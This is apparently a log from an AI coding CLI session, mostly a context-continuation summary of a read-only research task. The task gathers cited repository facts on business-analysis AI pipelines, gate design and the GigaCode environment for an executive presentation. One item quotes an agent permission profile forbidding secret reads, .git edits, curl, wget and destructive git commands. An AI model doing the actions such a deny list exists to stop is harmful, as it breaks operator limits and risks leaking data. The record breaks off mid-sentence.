[STDOUT]       abort: [Function: abort],\n[2026-09-29T07:48:06.882Z] [STDOUT]     },\n[2026-09-29T07:48:06.885Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:48:06.889Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:48:06.893Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:48:06.896Z] [STDOUT]   },\n[2026-09-29T07:48:06.899Z] [STDOUT]   durationMs: 867,\n[2026-09-29T07:48:06.904Z] [STDOUT] }\n[2026-09-29T07:48:07.264Z] [INFO] {\n[2026-09-29T07:48:07.264Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"message\": {\n[2026-09-29T07:48:07.264Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"id\": \"msg_011CfXMxaAPhVLVXwouJe2M2\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"content\": [\n[2026-09-29T07:48:07.264Z] [INFO]       {\n[2026-09-29T07:48:07.264Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:48:07.264Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:48:07.264Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:48:07.264Z] [INFO]     ],\n[2026-09-29T07:48:07.264Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:07.264Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:07.264Z] [INFO]       \"cache_creation_input_tokens\": 1174,\n[2026-09-29T07:48:07.264Z] [INFO]       \"cache_read_input_tokens\": 20685,\n[2026-09-29T07:48:07.264Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:07.264Z] [INFO]         \"ephemeral_5m_input_tokens\": 1174,\n[2026-09-29T07:48:07.264Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:07.264Z] [INFO]       },\n[2026-09-29T07:48:07.264Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:07.264Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:07.264Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:07.264Z] [INFO]     },\n[2026-09-29T07:48:07.264Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:48:07.264Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"context_management\": null\n[2026-09-29T07:48:07.264Z] [INFO]   },\n[2026-09-29T07:48:07.264Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"uuid\": \"4c6f4641-e1d3-4a5a-b45e-a4cd99035f1e\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:07.259Z\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"request_id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:07.264Z] [INFO] }\n[2026-09-29T07:48:07.537Z] [STDOUT] [log_a72700] sending request {\n[2026-09-29T07:48:07.543Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:48:07.548Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.553Z] [STDOUT]   options: {\n[2026-09-29T07:48:07.556Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:48:07.561Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.563Z] [STDOUT]     body: {\n[2026-09-29T07:48:07.567Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:48:07.573Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:48:07.577Z] [STDOUT]       tools: [],\n[2026-09-29T07:48:07.581Z] [STDOUT]     },\n[2026-09-29T07:48:07.583Z] [STDOUT]   },\n[2026-09-29T07:48:07.586Z] [STDOUT]   headers: {\n[2026-09-29T07:48:07.588Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:48:07.591Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:48:07.595Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:48:07.601Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:48:07.610Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:48:07.613Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:48:07.615Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:48:07.618Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:48:07.623Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:48:07.626Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:07.629Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:48:07.639Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:48:07.655Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:48:07.658Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:48:07.664Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:48:07.671Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:48:07.678Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:48:07.682Z] [STDOUT]   },\n[2026-09-29T07:48:07.687Z] [STDOUT] }\n[2026-09-29T07:48:07.766Z] [STDOUT] [log_a72700, request-id: \"req_011CfXMxkgAU7yoeNZsfHiE1\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 231ms\n[2026-09-29T07:48:07.771Z] [STDOUT] [log_a72700] response start {\n[2026-09-29T07:48:07.775Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.789Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:07.807Z] [STDOUT]   headers: {\n[2026-09-29T07:48:07.813Z] [STDOUT]     \"anthropic-organization-id\": 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[STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:07.901Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:48:07.907Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:07.911Z] [STDOUT]   },\n[2026-09-29T07:48:07.915Z] [STDOUT]   durationMs: 231,\n[2026-09-29T07:48:07.920Z] [STDOUT] }\n[2026-09-29T07:48:07.945Z] [STDOUT] [log_a72700] response parsed {\n[2026-09-29T07:48:07.949Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.955Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:07.958Z] [STDOUT]   body: {\n[2026-09-29T07:48:07.963Z] [STDOUT]     input_tokens: 15355,\n[2026-09-29T07:48:07.966Z] [STDOUT]     _request_id: \"req_011CfXMxkgAU7yoeNZsfHiE1\",\n[2026-09-29T07:48:07.969Z] [STDOUT]   },\n[2026-09-29T07:48:07.974Z] [STDOUT]   durationMs: 231,\n[2026-09-29T07:48:07.977Z] [STDOUT] }\n[2026-09-29T07:48:07.993Z] [INFO] {\n[2026-09-29T07:48:07.993Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:48:07.993Z] [INFO]   \"message\": {\n[2026-09-29T07:48:07.993Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:48:07.993Z] [INFO]     \"content\": [\n[2026-09-29T07:48:07.993Z] [INFO]       {\n[2026-09-29T07:48:07.993Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:48:07.993Z] [INFO]         \"text\": \"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\n1. Primary Request and Intent\\n\\nThe user asked for a read-only research task on the repo at /tmp/gh-issue-solver-1790667776920 (G-Ivan-A/hybrid-Intelligence-lab).\\n\\nConstraints, as the user gave them: \\\"do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first\\\".\\n\\nThe goal is to extract verified, presentation-worthy facts from research/ba-requirements for an executive presentation to the Head of AI development at Mango. The presentation covers the BA meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. The user asked for five things:\\n1. Empirical snapshots of Mango runs, with numbers and paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the proposed solution: strict prompts plus machine-readable contracts plus fail-closed validation. Find where this is argued or evidenced.\\n3. Two or three lines of key conclusions for each of these subdirs: normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution.\\n4. GigaCode environment facts, skill granularity/format facts, and process taxonomy defects.\\n5. What is new on branch issue-639 compared with main.\\n\\nOther requirements:\\n- Cite every fact with its repo path. Do not invent numbers.\\n- URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/\\n- URL format for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/\\n- Write the full report to the notes file, then return a concise summary of up to about 1500 words.\\n- No emojis. Use absolute paths.\\n\\n2. Key Technical Concepts\\n\\n- Pipeline modules: M0 normalization, M1 solution-modeling (C-CORE), M2 artifact-rendering (C-OUT), M3 feedback (C-CL), M4 orchestration (C-RK route sheet, axes A1\u2013A6).\\n- Gate types:\\n  - G-self: self-check. It catches form defects, not confidently invented facts (rule T-1).\\n  - G-mach: deterministic machine check, only for decidable properties (criterion \u041a).\\n  - G-human: for irreversible decisions (rule T-2).\\n- Governance L0/L1/L2 delta inheritance versus the execution level, where SKILL.md is the compiled/resolved artifact. The agent never computes deltas at runtime.\\n- Meta-model: 9 entities, later 11 (System and Actor added in v0.2). Skills are subprocesses; routes are directed graphs.\\n- Operation taxonomy: 31 operations in 5 cognitive classes (extract/transform/generate/check/assess). Each operation is \\\"\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\\\" (atomic but semantically complete cognitive action) with a 6-field contract. Atomicity rules are OA-1\u2026OA-6.\\n- Slots S-*, formats F-*, projections V-BIZ/V-APPROVE/V-DEV, a mandatory synthetic Golden Set.\\n- ADR-013 (run modes deprecation), ADR-014 (legacy is evidence, not baseline), ADR-015 (taxonomy rebuild), ADR-016 (skill form/contract format), ADR-018 (GigaCode CLI execution boundary), ADR-019 (Cline + Mango AI pilot).\\n\\n3. Files and Code Sections\\n\\nAll files below are on main and identical on the branch. Main URL prefix: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/\\n\\n**research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md** (mango_ba_prompts commit 524a8eb)\\n- 56 runs, 2026-04-10\u20262026-08-25; run_type statistics 47 / execution 9.\\n- Status: draft 29, works-with-edits 19, partial-success 5, success 1, needs-rework 1, experimental 1.\\n- Prefixes: task- 32, fr- 9, bcreq- 4, prompt- 3.\\n- Metrics (n / sum / median / range):\\n  - episodes 41 / 1080 / 15 / 1\u202683\\n  - iterations 37 / 1052 / 19\\n  - turns 34 / 2084 / 44 / 2\u2026166\\n  - success_rate 18 / median 0.60 / 0.25\u20260.92\\n  - hallucinations 11 / 41 / 3 / 2\u20268\\n  - hallucinations_shipped 11 / 12 / 1 / 0\u20263\\n  - ba_edits 10 / 53 / 6 / 0\u202611\\n  - quality 11 / 31 / 3\\n  - tokens_dialog_total 32 / 61,360,738 / 720,806 / 3,387\u20269,225,333\\n  - duration_wall_clock_s 11 / 1,331,029 / 45,675 / 2,762\u2026522,867\\n- 9 runs had shipped hallucinations: RUN-0016, 0018, 0021, 0022, 0024\u20130028.\\n- Keyword counts out of 56 runs: \u043f\u043e\u043a\u0440\u044b\u0442 41, \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438 23, \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d 20, \u0434\u043e\u043c\u044b\u0441\u043b 11, \u043a\u0430\u0441\u0442\u043e\u043c 10, \u0442\u0430\u0440\u0438\u0444 7, \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 5, \u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d 3, discoverab 0, deprecat/\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0.\\n- Limitations:\\n  - Hallucinations are recorded under 3 different keys (hallucinations 11, _found 3, _prevented 3).\\n  - success_rate is not comparable across runs.\\n  - Metric fill rate ranges from 10 to 41 of 56 runs.\\n\\n**research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md** (commit ef88a9a)\\n- 57 runs; statistics 47 / execution 10; draft 29, wwe 19, partial 6, success 1, needs-rework 1, experimental 1.\\n- inputs/, logs/ and feedback/ exist in 100% of runs, so the contract is kept in form only.\\n- M1: core-process markers in 15/57 runs; modeling markers in 2/57 (RUN-0002, RUN-0003). No C-CORE exists in practice.\\n- M2: 57/57 runs produce at least 1 document; 23/57 (40.4%) produce more than 1. Distribution 1\u219234, 2\u219211, 3\u219211, 5\u21921 (RUN-0057). L0\u2013L4 audience fan-out in 2 runs (RUN-0056, RUN-0057).\\n- M3: metrics.eval 40 (70.2%), verdict 15 (26.3%), success_rate 16 (28.1%), measured declared 5 (8.8%; true 3, false 2), related_runs 21 (36.8%), hallucinations_shipped>0 in 9 (15.8%).\\n- M4: 71 distinct metrics keys, and no key is universal. episodes appears in 41 runs (71.9%). 24 keys appear in exactly one run. token_method is filled in 41 runs with 24 distinct values. Prompt modes: stepwise 10, oneshot 9, legacy 5, others 3.\\n- No run delivered a contract TZ (per #541).\\n\\n**research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md**\\n- 57 runs; 32 produced at least 1 document (the denominator); 0 produced a TZ; 4 consumed someone else's TZ as input (RUN-0055, RUN-0057).\\n- 4 runs fanned out into multiple documents, 2 of them with L0\u2013L4.\\n- Linear decomposition reaches its terminal contract in 0/32 runs (0%); layered decomposition in 32/32 (100%). The owner's criterion was 80%.\\n\\n**research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md** (commit 8cbf82a)\\n- 67 runs viewed; 125 markdown files split into run-journal 63, analysis-note 45, requirement-document 17.\\n- The 17 documents have 17 distinct skeletons, with no match even as slot sets.\\n- BCREQ-1074 (RUN-0063/0064/0067): 3 documents, 3 skeletons, mean Jaccard 0.69, minimum 0.571. Other groups: 0.286, 0.2, 0.167, 0.333.\\n- Slots: S-OTHER 33 (27 captions), S-SCENARIO 14 sections under 14 captions, S-FR 14/10, S-PROBLEM 10/8, S-LIMITS 9/7, S-SOLUTION 8/6, S-OPEN 7/5, S-GLOSSARY 6/4, S-TRACE 5/3, S-AC 1, S-UI 1.\\n- Formats: F-NARRATIVE 7, F-CLASSIC 6, F-MIXED 3, F-SHORT 1. No run declares its expected format.\\n- There are no clean product samples, which is why the Golden Set has to be synthetic.\\n\\n**research/ba-requirements/2026-09-08-meta-model-inputs-facts.md** (commit 8cbf82a)\\n- 24 active prompts: stepwise 10, oneshot 9, legacy 5. 13 capabilities, duplication 1.85, 9/13 have more than one variant.\\n- 13 variant pairs: mean Jaccard 0.077, 0 identical sets or orders, maximum 0.4 (fr-validation), size ratio 1.22\u20133.30. 8 of 13 pairs have Jaccard 0.0.\\n- 50/67 runs reference no prompt. Stepwise is referenced by 14, oneshot 3, legacy 3. 11/24 prompts are never referenced.\\n- Operations: 6/13 covered by prompts. The 7 without a prompt: governance, impact_analysis, quality, release_readiness, research, reverse_requirements, risk_analysis.\\n- Processes: 1/9 used (fr-generation); 65 process labels fall outside the dictionary.\\n- Product domain declared in 5/67 runs; 66/67 runs map to more than one domain lexically.\\n\\n**research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md**\\n- 12 meta-model constructs checked against 24 prompts and 67 runs.\\n- 10 appear in none of the 24 prompts; 4 appear in neither prompts nor runs (MM-4, OPS-2, Contract, T-1 closed dictionary).\\n- Average 1.04 constructs per prompt, maximum 2, and the one present is usually version:.\\n- Gates mentioned in runs: G-self 7, G-mach 9, G-human 7, SK-4 1, EP-G1 in 1 prompt and 15 runs.\\n- Conclusion: the corpus cannot serve as the basis for new contracts. This feeds ADR-014 and LG-4.\\n\\n**research/ba-requirements/2026-09-08-kb-slot-fit-facts.md**\\n- 5 KB docs, 860 sections. 457 (53.1%) matched a specific rule, 403 (46.9%) fell to the default S-SCOPE, and 0 needed a slot outside the dictionary (dictionary has 14 slots).\\n- Profile ordinal predictions: 5/5 confirmed (3/3 pairs each).\\n- Two absolute predictions failed: S-INTEGRATION for P-API reached 19.2% against a \u226530% threshold; S-UI for speech-analytics was 3.9% against \u226510%.\\n\\n**research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md**\\n- 368 artifacts: hub 251 (68%), mango 64 (17%), clarify 53 (14%).\\n- By class: Research 173 (163 in hub), Standard 53, RFC 39, ADR 37.\\n- Status: draft 242 (65.8%), no frontmatter 53, canonical+accepted 48/368 = 13%.\\n- Graph: 3361 edges, 200 cross-repo, 19 isolated nodes. mango\u2192hub 81, hub\u2192mango 31, clarify\u2192hub 0.\\n- 8 transferable mechanisms found in clarify.\\n\\n**research/ba-requirements/2026-09-10-gigacode-environment-facts.md**\\n- 11/11 pages returned HTTP 200; 24/24 control statements found. GC-1\u2026GC-28:\\n  - SKILL.md in .agents/skills//, only name and description required, unique name, staged loading.\\n  - Agents in .opencode/agent/*.md with mode primary/subagent/all, permission, steps.\\n  - Shell access for build/test/lint. Profile forbids reading secrets, editing .git, curl, wget, git merge, git reset --hard. MCP is available.\\n  - \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed in words); \\\"\u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439\\\" (every claim backed by file and line).\\n  - Automatic context compression; AGENTS.md is read on every run.\\n  - GC-19: works where the result is machine-checkable. GC-20: the agent will invent whatever it doesn't know.\\n  - GigaCode developer opens PRs; MCP has 42 tools including issue_read, add_issue_comment, get_job_logs.\\n  - GC-25\u201328 skill bounds: a short rule belongs in AGENTS.md; anything needing separate permissions and isolated context is an agent.\\n- Owner's claim: 1,000,000-token hard limit (not documented, rule SK-6, check tracked as B-162).\\n- The earlier assumption \\\"SKILL.md derived by analogy\\\" is refuted.\\n- The human-gate mechanism remains undocumented.\\n\\n**research/ba-requirements/2026-09-10-skill-granularity-format-facts.md**\\n- F1: the environment does not bound skill level (confirmed).\\n- F2 and F3: lower and upper bounds.\\n- F4: return of control to the actor occurs in stepwise 10/10, oneshot 0/9, legacy 0/5. This is a perfect split.\\n- F5: oneshot does not mean atomic; 9/9 oneshot prompts contain an internal algorithm (refuted).\\n- F6: 0/33 L3 skills consist of a single operation; skills have 2\u20137 operations each.\\n- F7: 21/31 operations are used by 3 or more skills. Top reuse: check-schema 11, link-elements 8, map-to-slot 7, check-completeness 6, classify-item 6, classify-severity 6, extract-statements 6.\\n\\n**research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md** (spoke 8cbf82a, hub 15aa76f)\\n- D1: \\\"\u0424\u0422/\u0422\u0417\\\" (FR/TZ) merged in 29 places, while the ontology has 2 types (A18 feature-spec-kk, A19 tz-contract per GOST 34.602-2020).\\n- D2: \\\"draft\\\" used as a process boundary in 4 places (and it is also a lifecycle state).\\n- D3: 7/13 operations (0.538) have more than one output class; documentation has 6.\\n- D4: 8/13 operation definitions enumerate heterogeneous results.\\n- D5: 6 subprocesses (\u041f1\u2013\u041f6, gates G1\u2013G3) versus 0 in the hub.\\n- D6: System, User and Subprocess entities missing; 5 prompts require an actor.\\n- D7: 66/67 runs fall outside the process dictionary.\\n- D8: 1 branching marker (a negation) versus 2 immutability claims.\\n- Discrepancy to flag: README.md describes D3 as \\\"7 of 13 operations without a single prompt\\\" and D4 as \\\"8 of 13 require branching\\\". The facts file instead says D3 = more than one output class and D4 = enumerating definitions.\\n\\n**research/ba-requirements/README.md** (v0.5)\\n- Module map. ba-meta-model, process-taxonomy and operation-taxonomy were moved to projects/ba-ai-process/ (B-155, #573).\\n- Process taxonomy levels: L0 BABOK 6 \u2192 L1 6 families \u2192 L2 10 processes P-01\u2026P-10 \u2192 L3 33 skills.\\n- 31 operations, 5 classes.\\n\\n**Subdir BLUFs (00-introduction.md of each)**\\n- normalization:\\n  - Term \\\"Initiating Artifact\\\" with IA-1\u2026IA-7.\\n  - The main loss is coverage assessment (\u043f\u043e\u043a\u0440\u044b\u0442 41/56 vs discoverab 0), so it should be a separate operation with a gate.\\n  - The human gate is unreliable (9/56 runs shipped hallucinations), so machine-checkable grounding is required.\\n  - Recommendation: hybrid H-H. Also a universal taxonomy vs a Mango taxonomy plus a correlation matrix, and statistics as a separate process.\\n  - 13 cognitive operations left unchanged in this iteration.\\n- methodology-unification:\\n  - No unified BA methodology; 13% of knowledge is normative. Inheritance runs upward.\\n  - Two levels: governance L0 industry \u2192 L1 IT-telecom \u2192 L2 Mango deltas (D1\u2013D5) vs an execution-level resolved SKILL.md (I-1\u2026I-7).\\n  - The agent never computes deltas at runtime (resolution is a build step with a human gate).\\n  - Of 67 runs only 2 are unconditional success. Baseline: 2/32 runs with a verdict (6%) accepted without edits. Verdicts: draft 35, wwe 19, partial 8, success 2.\\n  - Roadmap B-121\u2026B-135.\\n- orchestration:\\n  - Route fixed before generation on axes A1\u2013A6 at gate HG-0, producing route sheet C-RK, which is a commitment.\\n  - Compatibility rules C1\u2013C6 and flow rules F1\u2013F6 are checked by machine.\\n  - Interruption is normal. HG-8 is the stop gate.\\n  - Routing already exists implicitly (stepwise 10 / oneshot 9 / legacy 5).\\n  - Build verdict: YAML artifact, engine redundant (30-decision-framework.md L193).\\n- solution-modeling:\\n  - The core is an object (C-CORE), not a stage. Practice has none (2/57 modeling runs, 40% multi-document from dialogue context).\\n  - Readability across actors takes priority; 12 model classes MO-1\u2026MO-12.\\n  - HG-4 owner set by A6. Build-vs-buy: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n  - Mango covers 6/12 model classes and 4/9 invariants.\\n- artifact-micro-structure:\\n  - 17/17 skeletons differ; arity is stable but semantics are not; captions and meanings must be separated.\\n  - UI and AC are dissolved into FR. Documents are built by projection, not concatenation.\\n  - One artifact with 3 projections. Golden Set is mandatory, synthetic, and part of G-mach.\\n  - A skill is an atomic compiled, self-contained artifact.\\n- artifact-rendering:\\n  - M2 is assembly, not writing: no new meaning may be born at render. Non-drift K5.\\n  - 23/57 runs produce multiple documents; 9 shipped fiction.\\n  - 3 render modes (deterministic RM-1, generative, hybrid RM-3) that differ by what can be proven.\\n  - H2.2: deterministic render may be impossible for a TZ.\\n  - HG-5 / HG-5.1.\\n- feedback-and-evolution:\\n  - Without M3 the pipeline cannot learn. Documents delivered in 100% of runs, measurement reliability declared in 8.8%.\\n  - 71 keys, 24 singletons, token_method with 24 values.\\n  - First task: closure-record schema C-CL. Distinguish execution, decision and process quality.\\n  - Feedback delays range from minutes to months.\\n\\n**Hypothesis 2 evidence (item 2)**\\n- research/ba-requirements/methodology-unification/10-theory.md \u00a71 and \u00a75:\\n  - Failure A: delta resolution by the model is non-deterministic (\\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\", two runs give two different sets of norms).\\n  - Gate theory. T-1: \\\"G-self \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438\u2026 \u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u043c\u0435\u0442\u044c G-mach\\\" (G-self cannot catch a defect caused by the model's own delusion; factual properties must have G-mach).\\n- methodology-unification/40-practice-and-cases.md:\\n  - Case C-1: RUN-0018 (qwen3.7-plus, fr-validation-stepwise, 8 self-check steps) recorded hallucinations 8, shipped 1, ba_edits 6, success_rate 0.63. The run's own conclusion: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt mechanics were followed, factual accuracy was not ensured).\\n  - Case C-2: RUN-0063\u21920064\u21920067 (BCREQ-1074). 5 requirements described existing functionality. 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1. The rework applied 9 audit findings, removed 5 requirements, reduced the delta to 8 fields, and moved 9 statements to questions. RUN-0063 was marked invalid. Remedy: a delta-baseline skill with a G-mach fail-closed gate (\\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\", an empty SSOT is a refusal, not a warning). The defect was found two runs late.\\n  - Case C-3: RUN-0008/0009 norm checks were done by the model and stayed draft (gap G-13).\\n  - The BCREQ decomposition table assigns gates per skill. B-131 is the pilot delta-baseline with G-mach fail-closed (50-open-research.md).\\n- Also relevant:\\n  - GC-19/GC-20 in the GigaCode facts.\\n  - Normalization BLUF item 3.\\n  - Artifact-rendering: \\\"no new meaning born at render\\\".\\n  - Legacy: prompts are persuasive in form but carry 0 checkable constructs.\\n  - Meta-model variant Jaccard 0.077.\\n- The exact phrasing \\\"cognitive operations poorly suited to direct generation\\\" was not found verbatim. Evidence is scattered, and this should be stated honestly in the report.\\n\\n**Issue-639 findings (item 5)**\\n- The branch tip 836faaf is an ancestor of main (merged via PR #643, d718616). research/ba-requirements is identical, so there are no new files in that directory.\\n- #639 commits added these files (now on main; branch URLs are also valid):\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md (508 lines, v0.1)\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md (hypotheses \u0413-01\u2026\u0413-25, v0.2 pointer)\\n  - projects/ba-ai-process/experiments/issue_639_gap_probes.sh / .log\\n  - projects/ba-ai-process/experiments/issue_639_runner_probes.py / .log (probes P10\u2013P12)\\n  - ops/backlog.md sprint 25 items B-203..B-210 and sprint 26 items B-211..B-218\\n- Runtime-options key content:\\n  - Verdict: the main gap is in the meta-model. The orchestrator role has no executor among the 11 entities (\u0413-26 refuted).\\n  - \u0413-28: 17 YAML predicates in routes/rg-bcreq-v1.yaml are not read; branches are re-coded in Python for 8 nodes (P11).\\n  - \u0413-29: \\\"lorem ipsum\\\" was accepted as output of n1\u2013n3 because the gate checks the package, not the step (P10).\\n  - \u0413-30: 